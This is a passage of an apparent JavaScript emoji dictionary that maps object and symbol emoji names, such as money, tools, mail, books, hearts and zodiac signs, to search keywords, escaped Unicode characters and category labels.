    char: "\ud83d\udcb5",
    fitzpatrick_scale: false,
    category: "objects"
  },
  yen: {
    keywords: [ "money", "sales", "japanese", "dollar", "currency" ],
    char: "\ud83d\udcb4",
    fitzpatrick_scale: false,
    category: "objects"
  },
  euro: {
    keywords: [ "money", "sales", "dollar", "currency" ],
    char: "\ud83d\udcb6",
    fitzpatrick_scale: false,
    category: "objects"
  },
  pound: {
    keywords: [ "british", "sterling", "money", "sales", "bills", "uk", "england", "currency" ],
    char: "\ud83d\udcb7",
    fitzpatrick_scale: false,
    category: "objects"
  },
  moneybag: {
    keywords: [ "dollar", "payment", "coins", "sale" ],
    char: "\ud83d\udcb0",
    fitzpatrick_scale: false,
    category: "objects"
  },
  credit_card: {
    keywords: [ "money", "sales", "dollar", "bill", "payment", "shopping" ],
    char: "\ud83d\udcb3",
    fitzpatrick_scale: false,
    category: "objects"
  },
  gem: {
    keywords: [ "blue", "ruby", "diamond", "jewelry" ],
    char: "\ud83d\udc8e",
    fitzpatrick_scale: false,
    category: "objects"
  },
  balance_scale: {
    keywords: [ "law", "fairness", "weight" ],
    char: "\u2696",
    fitzpatrick_scale: false,
    category: "objects"
  },
  toolbox: {
    keywords: [ "tools", "diy", "fix", "maintainer", "mechanic" ],
    char: "\ud83e\uddf0",
    fitzpatrick_scale: false,
    category: "objects"
  },
  wrench: {
    keywords: [ "tools", "diy", "ikea", "fix", "maintainer" ],
    char: "\ud83d\udd27",
    fitzpatrick_scale: false,
    category: "objects"
  },
  hammer: {
    keywords: [ "tools", "build", "create" ],
    char: "\ud83d\udd28",
    fitzpatrick_scale: false,
    category: "objects"
  },
  hammer_and_pick: {
    keywords: [ "tools", "build", "create" ],
    char: "\u2692",
    fitzpatrick_scale: false,
    category: "objects"
  },
  hammer_and_wrench: {
    keywords: [ "tools", "build", "create" ],
    char: "\ud83d\udee0",
    fitzpatrick_scale: false,
    category: "objects"
  },
  pick: {
    keywords: [ "tools", "dig" ],
    char: "\u26cf",
    fitzpatrick_scale: false,
    category: "objects"
  },
  nut_and_bolt: {
    keywords: [ "handy", "tools", "fix" ],
    char: "\ud83d\udd29",
    fitzpatrick_scale: false,
    category: "objects"
  },
  gear: {
    keywords: [ "cog" ],
    char: "\u2699",
    fitzpatrick_scale: false,
    category: "objects"
  },
  brick: {
    keywords: [ "bricks" ],
    char: "\ud83e\uddf1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  chains: {
    keywords: [ "lock", "arrest" ],
    char: "\u26d3",
    fitzpatrick_scale: false,
    category: "objects"
  },
  magnet: {
    keywords: [ "attraction", "magnetic" ],
    char: "\ud83e\uddf2",
    fitzpatrick_scale: false,
    category: "objects"
  },
  gun: {
    keywords: [ "violence", "weapon", "pistol", "revolver" ],
    char: "\ud83d\udd2b",
    fitzpatrick_scale: false,
    category: "objects"
  },
  bomb: {
    keywords: [ "boom", "explode", "explosion", "terrorism" ],
    char: "\ud83d\udca3",
    fitzpatrick_scale: false,
    category: "objects"
  },
  firecracker: {
    keywords: [ "dynamite", "boom", "explode", "explosion", "explosive" ],
    char: "\ud83e\udde8",
    fitzpatrick_scale: false,
    category: "objects"
  },
  hocho: {
    keywords: [ "knife", "blade", "cutlery", "kitchen", "weapon" ],
    char: "\ud83d\udd2a",
    fitzpatrick_scale: false,
    category: "objects"
  },
  dagger: {
    keywords: [ "weapon" ],
    char: "\ud83d\udde1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  crossed_swords: {
    keywords: [ "weapon" ],
    char: "\u2694",
    fitzpatrick_scale: false,
    category: "objects"
  },
  shield: {
    keywords: [ "protection", "security" ],
    char: "\ud83d\udee1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  smoking: {
    keywords: [ "kills", "tobacco", "cigarette", "joint", "smoke" ],
    char: "\ud83d\udeac",
    fitzpatrick_scale: false,
    category: "objects"
  },
  skull_and_crossbones: {
    keywords: [ "poison", "danger", "deadly", "scary", "death", "pirate", "evil" ],
    char: "\u2620",
    fitzpatrick_scale: false,
    category: "objects"
  },
  coffin: {
    keywords: [ "vampire", "dead", "die", "death", "rip", "graveyard", "cemetery", "casket", "funeral", "box" ],
    char: "\u26b0",
    fitzpatrick_scale: false,
    category: "objects"
  },
  funeral_urn: {
    keywords: [ "dead", "die", "death", "rip", "ashes" ],
    char: "\u26b1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  amphora: {
    keywords: [ "vase", "jar" ],
    char: "\ud83c\udffa",
    fitzpatrick_scale: false,
    category: "objects"
  },
  crystal_ball: {
    keywords: [ "disco", "party", "magic", "circus", "fortune_teller" ],
    char: "\ud83d\udd2e",
    fitzpatrick_scale: false,
    category: "objects"
  },
  prayer_beads: {
    keywords: [ "dhikr", "religious" ],
    char: "\ud83d\udcff",
    fitzpatrick_scale: false,
    category: "objects"
  },
  nazar_amulet: {
    keywords: [ "bead", "charm" ],
    char: "\ud83e\uddff",
    fitzpatrick_scale: false,
    category: "objects"
  },
  barber: {
    keywords: [ "hair", "salon", "style" ],
    char: "\ud83d\udc88",
    fitzpatrick_scale: false,
    category: "objects"
  },
  alembic: {
    keywords: [ "distilling", "science", "experiment", "chemistry" ],
    char: "\u2697",
    fitzpatrick_scale: false,
    category: "objects"
  },
  telescope: {
    keywords: [ "stars", "space", "zoom", "science", "astronomy" ],
    char: "\ud83d\udd2d",
    fitzpatrick_scale: false,
    category: "objects"
  },
  microscope: {
    keywords: [ "laboratory", "experiment", "zoomin", "science", "study" ],
    char: "\ud83d\udd2c",
    fitzpatrick_scale: false,
    category: "objects"
  },
  hole: {
    keywords: [ "embarrassing" ],
    char: "\ud83d\udd73",
    fitzpatrick_scale: false,
    category: "objects"
  },
  pill: {
    keywords: [ "health", "medicine", "doctor", "pharmacy", "drug" ],
    char: "\ud83d\udc8a",
    fitzpatrick_scale: false,
    category: "objects"
  },
  syringe: {
    keywords: [ "health", "hospital", "drugs", "blood", "medicine", "needle", "doctor", "nurse" ],
    char: "\ud83d\udc89",
    fitzpatrick_scale: false,
    category: "objects"
  },
  dna: {
    keywords: [ "biologist", "genetics", "life" ],
    char: "\ud83e\uddec",
    fitzpatrick_scale: false,
    category: "objects"
  },
  microbe: {
    keywords: [ "amoeba", "bacteria", "germs" ],
    char: "\ud83e\udda0",
    fitzpatrick_scale: false,
    category: "objects"
  },
  petri_dish: {
    keywords: [ "bacteria", "biology", "culture", "lab" ],
    char: "\ud83e\uddeb",
    fitzpatrick_scale: false,
    category: "objects"
  },
  test_tube: {
    keywords: [ "chemistry", "experiment", "lab", "science" ],
    char: "\ud83e\uddea",
    fitzpatrick_scale: false,
    category: "objects"
  },
  thermometer: {
    keywords: [ "weather", "temperature", "hot", "cold" ],
    char: "\ud83c\udf21",
    fitzpatrick_scale: false,
    category: "objects"
  },
  broom: {
    keywords: [ "cleaning", "sweeping", "witch" ],
    char: "\ud83e\uddf9",
    fitzpatrick_scale: false,
    category: "objects"
  },
  basket: {
    keywords: [ "laundry" ],
    char: "\ud83e\uddfa",
    fitzpatrick_scale: false,
    category: "objects"
  },
  toilet_paper: {
    keywords: [ "roll" ],
    char: "\ud83e\uddfb",
    fitzpatrick_scale: false,
    category: "objects"
  },
  label: {
    keywords: [ "sale", "tag" ],
    char: "\ud83c\udff7",
    fitzpatrick_scale: false,
    category: "objects"
  },
  bookmark: {
    keywords: [ "favorite", "label", "save" ],
    char: "\ud83d\udd16",
    fitzpatrick_scale: false,
    category: "objects"
  },
  toilet: {
    keywords: [ "restroom", "wc", "washroom", "bathroom", "potty" ],
    char: "\ud83d\udebd",
    fitzpatrick_scale: false,
    category: "objects"
  },
  shower: {
    keywords: [ "clean", "water", "bathroom" ],
    char: "\ud83d\udebf",
    fitzpatrick_scale: false,
    category: "objects"
  },
  bathtub: {
    keywords: [ "clean", "shower", "bathroom" ],
    char: "\ud83d\udec1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  soap: {
    keywords: [ "bar", "bathing", "cleaning", "lather" ],
    char: "\ud83e\uddfc",
    fitzpatrick_scale: false,
    category: "objects"
  },
  sponge: {
    keywords: [ "absorbing", "cleaning", "porous" ],
    char: "\ud83e\uddfd",
    fitzpatrick_scale: false,
    category: "objects"
  },
  lotion_bottle: {
    keywords: [ "moisturizer", "sunscreen" ],
    char: "\ud83e\uddf4",
    fitzpatrick_scale: false,
    category: "objects"
  },
  key: {
    keywords: [ "lock", "door", "password" ],
    char: "\ud83d\udd11",
    fitzpatrick_scale: false,
    category: "objects"
  },
  old_key: {
    keywords: [ "lock", "door", "password" ],
    char: "\ud83d\udddd",
    fitzpatrick_scale: false,
    category: "objects"
  },
  couch_and_lamp: {
    keywords: [ "read", "chill" ],
    char: "\ud83d\udecb",
    fitzpatrick_scale: false,
    category: "objects"
  },
  sleeping_bed: {
    keywords: [ "bed", "rest" ],
    char: "\ud83d\udecc",
    fitzpatrick_scale: true,
    category: "objects"
  },
  bed: {
    keywords: [ "sleep", "rest" ],
    char: "\ud83d\udecf",
    fitzpatrick_scale: false,
    category: "objects"
  },
  door: {
    keywords: [ "house", "entry", "exit" ],
    char: "\ud83d\udeaa",
    fitzpatrick_scale: false,
    category: "objects"
  },
  bellhop_bell: {
    keywords: [ "service" ],
    char: "\ud83d\udece",
    fitzpatrick_scale: false,
    category: "objects"
  },
  teddy_bear: {
    keywords: [ "plush", "stuffed" ],
    char: "\ud83e\uddf8",
    fitzpatrick_scale: false,
    category: "objects"
  },
  framed_picture: {
    keywords: [ "photography" ],
    char: "\ud83d\uddbc",
    fitzpatrick_scale: false,
    category: "objects"
  },
  world_map: {
    keywords: [ "location", "direction" ],
    char: "\ud83d\uddfa",
    fitzpatrick_scale: false,
    category: "objects"
  },
  parasol_on_ground: {
    keywords: [ "weather", "summer" ],
    char: "\u26f1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  moyai: {
    keywords: [ "rock", "easter island", "moai" ],
    char: "\ud83d\uddff",
    fitzpatrick_scale: false,
    category: "objects"
  },
  shopping: {
    keywords: [ "mall", "buy", "purchase" ],
    char: "\ud83d\udecd",
    fitzpatrick_scale: false,
    category: "objects"
  },
  shopping_cart: {
    keywords: [ "trolley" ],
    char: "\ud83d\uded2",
    fitzpatrick_scale: false,
    category: "objects"
  },
  balloon: {
    keywords: [ "party", "celebration", "birthday", "circus" ],
    char: "\ud83c\udf88",
    fitzpatrick_scale: false,
    category: "objects"
  },
  flags: {
    keywords: [ "fish", "japanese", "koinobori", "carp", "banner" ],
    char: "\ud83c\udf8f",
    fitzpatrick_scale: false,
    category: "objects"
  },
  ribbon: {
    keywords: [ "decoration", "pink", "girl", "bowtie" ],
    char: "\ud83c\udf80",
    fitzpatrick_scale: false,
    category: "objects"
  },
  gift: {
    keywords: [ "present", "birthday", "christmas", "xmas" ],
    char: "\ud83c\udf81",
    fitzpatrick_scale: false,
    category: "objects"
  },
  confetti_ball: {
    keywords: [ "festival", "party", "birthday", "circus" ],
    char: "\ud83c\udf8a",
    fitzpatrick_scale: false,
    category: "objects"
  },
  tada: {
    keywords: [ "party", "congratulations", "birthday", "magic", "circus", "celebration" ],
    char: "\ud83c\udf89",
    fitzpatrick_scale: false,
    category: "objects"
  },
  dolls: {
    keywords: [ "japanese", "toy", "kimono" ],
    char: "\ud83c\udf8e",
    fitzpatrick_scale: false,
    category: "objects"
  },
  wind_chime: {
    keywords: [ "nature", "ding", "spring", "bell" ],
    char: "\ud83c\udf90",
    fitzpatrick_scale: false,
    category: "objects"
  },
  crossed_flags: {
    keywords: [ "japanese", "nation", "country", "border" ],
    char: "\ud83c\udf8c",
    fitzpatrick_scale: false,
    category: "objects"
  },
  izakaya_lantern: {
    keywords: [ "light", "paper", "halloween", "spooky" ],
    char: "\ud83c\udfee",
    fitzpatrick_scale: false,
    category: "objects"
  },
  red_envelope: {
    keywords: [ "gift" ],
    char: "\ud83e\udde7",
    fitzpatrick_scale: false,
    category: "objects"
  },
  email: {
    keywords: [ "letter", "postal", "inbox", "communication" ],
    char: "\u2709\ufe0f",
    fitzpatrick_scale: false,
    category: "objects"
  },
  envelope_with_arrow: {
    keywords: [ "email", "communication" ],
    char: "\ud83d\udce9",
    fitzpatrick_scale: false,
    category: "objects"
  },
  incoming_envelope: {
    keywords: [ "email", "inbox" ],
    char: "\ud83d\udce8",
    fitzpatrick_scale: false,
    category: "objects"
  },
  "e-mail": {
    keywords: [ "communication", "inbox" ],
    char: "\ud83d\udce7",
    fitzpatrick_scale: false,
    category: "objects"
  },
  love_letter: {
    keywords: [ "email", "like", "affection", "envelope", "valentines" ],
    char: "\ud83d\udc8c",
    fitzpatrick_scale: false,
    category: "objects"
  },
  postbox: {
    keywords: [ "email", "letter", "envelope" ],
    char: "\ud83d\udcee",
    fitzpatrick_scale: false,
    category: "objects"
  },
  mailbox_closed: {
    keywords: [ "email", "communication", "inbox" ],
    char: "\ud83d\udcea",
    fitzpatrick_scale: false,
    category: "objects"
  },
  mailbox: {
    keywords: [ "email", "inbox", "communication" ],
    char: "\ud83d\udceb",
    fitzpatrick_scale: false,
    category: "objects"
  },
  mailbox_with_mail: {
    keywords: [ "email", "inbox", "communication" ],
    char: "\ud83d\udcec",
    fitzpatrick_scale: false,
    category: "objects"
  },
  mailbox_with_no_mail: {
    keywords: [ "email", "inbox" ],
    char: "\ud83d\udced",
    fitzpatrick_scale: false,
    category: "objects"
  },
  package: {
    keywords: [ "mail", "gift", "cardboard", "box", "moving" ],
    char: "\ud83d\udce6",
    fitzpatrick_scale: false,
    category: "objects"
  },
  postal_horn: {
    keywords: [ "instrument", "music" ],
    char: "\ud83d\udcef",
    fitzpatrick_scale: false,
    category: "objects"
  },
  inbox_tray: {
    keywords: [ "email", "documents" ],
    char: "\ud83d\udce5",
    fitzpatrick_scale: false,
    category: "objects"
  },
  outbox_tray: {
    keywords: [ "inbox", "email" ],
    char: "\ud83d\udce4",
    fitzpatrick_scale: false,
    category: "objects"
  },
  scroll: {
    keywords: [ "documents", "ancient", "history", "paper" ],
    char: "\ud83d\udcdc",
    fitzpatrick_scale: false,
    category: "objects"
  },
  page_with_curl: {
    keywords: [ "documents", "office", "paper" ],
    char: "\ud83d\udcc3",
    fitzpatrick_scale: false,
    category: "objects"
  },
  bookmark_tabs: {
    keywords: [ "favorite", "save", "order", "tidy" ],
    char: "\ud83d\udcd1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  receipt: {
    keywords: [ "accounting", "expenses" ],
    char: "\ud83e\uddfe",
    fitzpatrick_scale: false,
    category: "objects"
  },
  bar_chart: {
    keywords: [ "graph", "presentation", "stats" ],
    char: "\ud83d\udcca",
    fitzpatrick_scale: false,
    category: "objects"
  },
  chart_with_upwards_trend: {
    keywords: [ "graph", "presentation", "stats", "recovery", "business", "economics", "money", "sales", "good", "success" ],
    char: "\ud83d\udcc8",
    fitzpatrick_scale: false,
    category: "objects"
  },
  chart_with_downwards_trend: {
    keywords: [ "graph", "presentation", "stats", "recession", "business", "economics", "money", "sales", "bad", "failure" ],
    char: "\ud83d\udcc9",
    fitzpatrick_scale: false,
    category: "objects"
  },
  page_facing_up: {
    keywords: [ "documents", "office", "paper", "information" ],
    char: "\ud83d\udcc4",
    fitzpatrick_scale: false,
    category: "objects"
  },
  date: {
    keywords: [ "calendar", "schedule" ],
    char: "\ud83d\udcc5",
    fitzpatrick_scale: false,
    category: "objects"
  },
  calendar: {
    keywords: [ "schedule", "date", "planning" ],
    char: "\ud83d\udcc6",
    fitzpatrick_scale: false,
    category: "objects"
  },
  spiral_calendar: {
    keywords: [ "date", "schedule", "planning" ],
    char: "\ud83d\uddd3",
    fitzpatrick_scale: false,
    category: "objects"
  },
  card_index: {
    keywords: [ "business", "stationery" ],
    char: "\ud83d\udcc7",
    fitzpatrick_scale: false,
    category: "objects"
  },
  card_file_box: {
    keywords: [ "business", "stationery" ],
    char: "\ud83d\uddc3",
    fitzpatrick_scale: false,
    category: "objects"
  },
  ballot_box: {
    keywords: [ "election", "vote" ],
    char: "\ud83d\uddf3",
    fitzpatrick_scale: false,
    category: "objects"
  },
  file_cabinet: {
    keywords: [ "filing", "organizing" ],
    char: "\ud83d\uddc4",
    fitzpatrick_scale: false,
    category: "objects"
  },
  clipboard: {
    keywords: [ "stationery", "documents" ],
    char: "\ud83d\udccb",
    fitzpatrick_scale: false,
    category: "objects"
  },
  spiral_notepad: {
    keywords: [ "memo", "stationery" ],
    char: "\ud83d\uddd2",
    fitzpatrick_scale: false,
    category: "objects"
  },
  file_folder: {
    keywords: [ "documents", "business", "office" ],
    char: "\ud83d\udcc1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  open_file_folder: {
    keywords: [ "documents", "load" ],
    char: "\ud83d\udcc2",
    fitzpatrick_scale: false,
    category: "objects"
  },
  card_index_dividers: {
    keywords: [ "organizing", "business", "stationery" ],
    char: "\ud83d\uddc2",
    fitzpatrick_scale: false,
    category: "objects"
  },
  newspaper_roll: {
    keywords: [ "press", "headline" ],
    char: "\ud83d\uddde",
    fitzpatrick_scale: false,
    category: "objects"
  },
  newspaper: {
    keywords: [ "press", "headline" ],
    char: "\ud83d\udcf0",
    fitzpatrick_scale: false,
    category: "objects"
  },
  notebook: {
    keywords: [ "stationery", "record", "notes", "paper", "study" ],
    char: "\ud83d\udcd3",
    fitzpatrick_scale: false,
    category: "objects"
  },
  closed_book: {
    keywords: [ "read", "library", "knowledge", "textbook", "learn" ],
    char: "\ud83d\udcd5",
    fitzpatrick_scale: false,
    category: "objects"
  },
  green_book: {
    keywords: [ "read", "library", "knowledge", "study" ],
    char: "\ud83d\udcd7",
    fitzpatrick_scale: false,
    category: "objects"
  },
  blue_book: {
    keywords: [ "read", "library", "knowledge", "learn", "study" ],
    char: "\ud83d\udcd8",
    fitzpatrick_scale: false,
    category: "objects"
  },
  orange_book: {
    keywords: [ "read", "library", "knowledge", "textbook", "study" ],
    char: "\ud83d\udcd9",
    fitzpatrick_scale: false,
    category: "objects"
  },
  notebook_with_decorative_cover: {
    keywords: [ "classroom", "notes", "record", "paper", "study" ],
    char: "\ud83d\udcd4",
    fitzpatrick_scale: false,
    category: "objects"
  },
  ledger: {
    keywords: [ "notes", "paper" ],
    char: "\ud83d\udcd2",
    fitzpatrick_scale: false,
    category: "objects"
  },
  books: {
    keywords: [ "literature", "library", "study" ],
    char: "\ud83d\udcda",
    fitzpatrick_scale: false,
    category: "objects"
  },
  open_book: {
    keywords: [ "book", "read", "library", "knowledge", "literature", "learn", "study" ],
    char: "\ud83d\udcd6",
    fitzpatrick_scale: false,
    category: "objects"
  },
  safety_pin: {
    keywords: [ "diaper" ],
    char: "\ud83e\uddf7",
    fitzpatrick_scale: false,
    category: "objects"
  },
  link: {
    keywords: [ "rings", "url" ],
    char: "\ud83d\udd17",
    fitzpatrick_scale: false,
    category: "objects"
  },
  paperclip: {
    keywords: [ "documents", "stationery" ],
    char: "\ud83d\udcce",
    fitzpatrick_scale: false,
    category: "objects"
  },
  paperclips: {
    keywords: [ "documents", "stationery" ],
    char: "\ud83d\udd87",
    fitzpatrick_scale: false,
    category: "objects"
  },
  scissors: {
    keywords: [ "stationery", "cut" ],
    char: "\u2702\ufe0f",
    fitzpatrick_scale: false,
    category: "objects"
  },
  triangular_ruler: {
    keywords: [ "stationery", "math", "architect", "sketch" ],
    char: "\ud83d\udcd0",
    fitzpatrick_scale: false,
    category: "objects"
  },
  straight_ruler: {
    keywords: [ "stationery", "calculate", "length", "math", "school", "drawing", "architect", "sketch" ],
    char: "\ud83d\udccf",
    fitzpatrick_scale: false,
    category: "objects"
  },
  abacus: {
    keywords: [ "calculation" ],
    char: "\ud83e\uddee",
    fitzpatrick_scale: false,
    category: "objects"
  },
  pushpin: {
    keywords: [ "stationery", "mark", "here" ],
    char: "\ud83d\udccc",
    fitzpatrick_scale: false,
    category: "objects"
  },
  round_pushpin: {
    keywords: [ "stationery", "location", "map", "here" ],
    char: "\ud83d\udccd",
    fitzpatrick_scale: false,
    category: "objects"
  },
  triangular_flag_on_post: {
    keywords: [ "mark", "milestone", "place" ],
    char: "\ud83d\udea9",
    fitzpatrick_scale: false,
    category: "objects"
  },
  white_flag: {
    keywords: [ "losing", "loser", "lost", "surrender", "give up", "fail" ],
    char: "\ud83c\udff3",
    fitzpatrick_scale: false,
    category: "objects"
  },
  black_flag: {
    keywords: [ "pirate" ],
    char: "\ud83c\udff4",
    fitzpatrick_scale: false,
    category: "objects"
  },
  rainbow_flag: {
    keywords: [ "flag", "rainbow", "pride", "gay", "lgbt", "glbt", "queer", "homosexual", "lesbian", "bisexual", "transgender" ],
    char: "\ud83c\udff3\ufe0f\u200d\ud83c\udf08",
    fitzpatrick_scale: false,
    category: "objects"
  },
  closed_lock_with_key: {
    keywords: [ "security", "privacy" ],
    char: "\ud83d\udd10",
    fitzpatrick_scale: false,
    category: "objects"
  },
  lock: {
    keywords: [ "security", "password", "padlock" ],
    char: "\ud83d\udd12",
    fitzpatrick_scale: false,
    category: "objects"
  },
  unlock: {
    keywords: [ "privacy", "security" ],
    char: "\ud83d\udd13",
    fitzpatrick_scale: false,
    category: "objects"
  },
  lock_with_ink_pen: {
    keywords: [ "security", "secret" ],
    char: "\ud83d\udd0f",
    fitzpatrick_scale: false,
    category: "objects"
  },
  pen: {
    keywords: [ "stationery", "writing", "write" ],
    char: "\ud83d\udd8a",
    fitzpatrick_scale: false,
    category: "objects"
  },
  fountain_pen: {
    keywords: [ "stationery", "writing", "write" ],
    char: "\ud83d\udd8b",
    fitzpatrick_scale: false,
    category: "objects"
  },
  black_nib: {
    keywords: [ "pen", "stationery", "writing", "write" ],
    char: "\u2712\ufe0f",
    fitzpatrick_scale: false,
    category: "objects"
  },
  memo: {
    keywords: [ "write", "documents", "stationery", "pencil", "paper", "writing", "legal", "exam", "quiz", "test", "study", "compose" ],
    char: "\ud83d\udcdd",
    fitzpatrick_scale: false,
    category: "objects"
  },
  pencil2: {
    keywords: [ "stationery", "write", "paper", "writing", "school", "study" ],
    char: "\u270f\ufe0f",
    fitzpatrick_scale: false,
    category: "objects"
  },
  crayon: {
    keywords: [ "drawing", "creativity" ],
    char: "\ud83d\udd8d",
    fitzpatrick_scale: false,
    category: "objects"
  },
  paintbrush: {
    keywords: [ "drawing", "creativity", "art" ],
    char: "\ud83d\udd8c",
    fitzpatrick_scale: false,
    category: "objects"
  },
  mag: {
    keywords: [ "search", "zoom", "find", "detective" ],
    char: "\ud83d\udd0d",
    fitzpatrick_scale: false,
    category: "objects"
  },
  mag_right: {
    keywords: [ "search", "zoom", "find", "detective" ],
    char: "\ud83d\udd0e",
    fitzpatrick_scale: false,
    category: "objects"
  },
  heart: {
    keywords: [ "love", "like", "valentines" ],
    char: "\u2764\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  orange_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: "\ud83e\udde1",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  yellow_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: "\ud83d\udc9b",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  green_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: "\ud83d\udc9a",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  blue_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: "\ud83d\udc99",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  purple_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: "\ud83d\udc9c",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_heart: {
    keywords: [ "evil" ],
    char: "\ud83d\udda4",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  broken_heart: {
    keywords: [ "sad", "sorry", "break", "heart", "heartbreak" ],
    char: "\ud83d\udc94",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_heart_exclamation: {
    keywords: [ "decoration", "love" ],
    char: "\u2763",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  two_hearts: {
    keywords: [ "love", "like", "affection", "valentines", "heart" ],
    char: "\ud83d\udc95",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  revolving_hearts: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: "\ud83d\udc9e",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heartbeat: {
    keywords: [ "love", "like", "affection", "valentines", "pink", "heart" ],
    char: "\ud83d\udc93",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heartpulse: {
    keywords: [ "like", "love", "affection", "valentines", "pink" ],
    char: "\ud83d\udc97",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sparkling_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: "\ud83d\udc96",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cupid: {
    keywords: [ "love", "like", "heart", "affection", "valentines" ],
    char: "\ud83d\udc98",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  gift_heart: {
    keywords: [ "love", "valentines" ],
    char: "\ud83d\udc9d",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heart_decoration: {
    keywords: [ "purple-square", "love", "like" ],
    char: "\ud83d\udc9f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  peace_symbol: {
    keywords: [ "hippie" ],
    char: "\u262e",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  latin_cross: {
    keywords: [ "christianity" ],
    char: "\u271d",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  star_and_crescent: {
    keywords: [ "islam" ],
    char: "\u262a",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  om: {
    keywords: [ "hinduism", "buddhism", "sikhism", "jainism" ],
    char: "\ud83d\udd49",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  wheel_of_dharma: {
    keywords: [ "hinduism", "buddhism", "sikhism", "jainism" ],
    char: "\u2638",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  star_of_david: {
    keywords: [ "judaism" ],
    char: "\u2721",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  six_pointed_star: {
    keywords: [ "purple-square", "religion", "jewish", "hexagram" ],
    char: "\ud83d\udd2f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  menorah: {
    keywords: [ "hanukkah", "candles", "jewish" ],
    char: "\ud83d\udd4e",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  yin_yang: {
    keywords: [ "balance" ],
    char: "\u262f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  orthodox_cross: {
    keywords: [ "suppedaneum", "religion" ],
    char: "\u2626",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  place_of_worship: {
    keywords: [ "religion", "church", "temple", "prayer" ],
    char: "\ud83d\uded0",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ophiuchus: {
    keywords: [ "sign", "purple-square", "constellation", "astrology" ],
    char: "\u26ce",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  aries: {
    keywords: [ "sign", "purple-square", "zodiac", "astrology" ],
    char: "\u2648",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  taurus: {
    keywords: [ "purple-square", "sign", "zodiac", "astrology" ],
    char: "\u2649",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  gemini: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology" ],
    char: "\u264a",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cancer: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology" ],
    char: "\u264b",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  leo: {
    keywords: [ "sign", "purple-square", "zodiac", "astrology" ],
    char: "\u264c",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  virgo: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology" ],
    char: "\u264d",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  libra: {
    keywords: [ "sign", "purple-square", "zodiac", "astrology" ],
    char: "\u264e",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  scorpius: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology", "scorpio" ],
    char: "\u264f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sagittarius: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology" ],
    char: "\u2650",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  capricorn: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology" ],
    char: "\u2651",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  aquarius: {
    keywords: [ "sign", "purple-square", "zodiac", "astrology" ],
    char: "\u2652",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  pisces: {
    keywords: [ "purple-square", "sign", "zodiac", "astrology" ],
    char: "\u2653",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  id: {
    keywords: [ "purple-square", "words" ],
    char: "\ud83c\udd94",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  atom_symbol: {
    keywords: [ "science", "physics", "chemistry" ],
    char: "\u269b",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u7a7a: {
    keywords: [ "kanji", "japanese", "chinese", "empty", "sky", "blue-square" ],
    char: "\ud83c\ude33",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u5272: {
    keywords: [ "cut", "divide", "chinese", "kanji", "pink-square" ],
    char: "\ud83c\ude39",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  radioactive: {
    keywords: [ "nuclear", "danger" ],
    char: "\u2622",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  biohazard: {
    keywords: [ "danger" ],
    char: "\u2623",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  mobile_phone_off: {
    keywords: [ "mute", "orange-square", "silence", "quiet" ],
    char: "\ud83d\udcf4",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  vibration_mode: {
